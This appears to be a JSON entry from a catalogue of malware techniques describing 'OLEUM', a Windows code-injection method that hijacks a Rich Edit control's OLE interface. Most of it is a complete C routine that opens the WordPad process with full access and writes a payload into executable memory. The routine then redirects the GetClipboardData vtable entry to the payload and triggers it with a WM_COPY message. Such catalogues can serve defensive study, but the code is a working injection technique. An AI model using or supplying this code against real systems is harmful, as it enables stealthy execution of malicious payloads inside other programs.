GET /api/techniques/156/
Content-Type: application/json
Vary: Accept

    "name": "OLEUM",
    "category": [
    "description": "Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows. When they display text in multiline mode they use so-called EditWordBreakProc callback function. Anytime the control needs to do something related to word wrapping the procedure will be called.\r\n\r\nThe EM_GETOLECALLBACK message does not appear to be well documented, and when sent to the rich edit window with SendMessage will crash if LPARAM does not point to locally accessible memory. Moreover, EM_GETOLECALLBACK did not return a pointer to IRichEditOleCallback as expected, it returned a pointer to IRichEditOle instead. Because of this, EM_SETOLECALLBACK will not be used. \r\nInstead, the heap memory holding IRichEditOle.lpVtbl is overwritten with an address to a copy of the original table with one method pointing to the payload, in this case GetClipboardData.",
    "resources": "",
    "tags": "",
    "snippets": [
            "language": "",
            "author": "",
            "technique": "",
            "description": "",
            "plain_code": "typedef struct _IRichEditOle_t {\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;\r\n    ULONG_PTR GetClientSite;\r\n    ULONG_PTR GetObjectCount;\r\n    ULONG_PTR GetLinkCount;\r\n    ULONG_PTR GetObject;\r\n    ULONG_PTR InsertObject;\r\n    ULONG_PTR ConvertObject;\r\n    ULONG_PTR ActivateAs;\r\n    ULONG_PTR SetHostNames;\r\n    ULONG_PTR SetLinkAvailable;\r\n    ULONG_PTR SetDvaspect;\r\n    ULONG_PTR HandsOffStorage;\r\n    ULONG_PTR SaveCompleted;\r\n    ULONG_PTR InPlaceDeactivate;\r\n    ULONG_PTR ContextSensitiveHelp;\r\n    ULONG_PTR GetClipboardData;\r\n    ULONG_PTR ImportDataObject;\r\n} _IRichEditOle;\r\n\r\nVOID oleum(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE                hp;\r\n    DWORD                 id;\r\n    HWND                  rew;\r\n    LPVOID                cs, ds, ptr, mem, tbl;\r\n    SIZE_T                rd, wr;\r\n    _IRichEditOle         reo;\r\n    \r\n    // 1. Get the window handle\r\n    rew = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(rew, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n      \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Allocate RW memory for the current address\r\n    ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 5. Query the interface\r\n    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);\r\n    \r\n    // 6. Read the memory address\r\n    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 7. Read IRichEditOle.lpVtbl\r\n    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 8. Read virtual function table\r\n    ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);\r\n\r\n    // 9. Allocate memory for copy of virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 10. Set the GetClipboardData method to address of payload\r\n    reo.GetClipboardData = (ULONG_PTR)cs;\r\n    \r\n    // 11. Write new virtual function table to remote memory\r\n    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);\r\n    \r\n    // 12. update IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); \r\n    \r\n    // 13. Trigger payload by invoking the GetClipboardData method\r\n    PostMessage(rew, WM_COPY, 0, 0);\r\n    \r\n    // 14. Restore original value of IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 15. Free memory and close process handle\r\n    VirtualFreeEx(hp, ptr,0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);   \r\n}"
    "detection_rules": []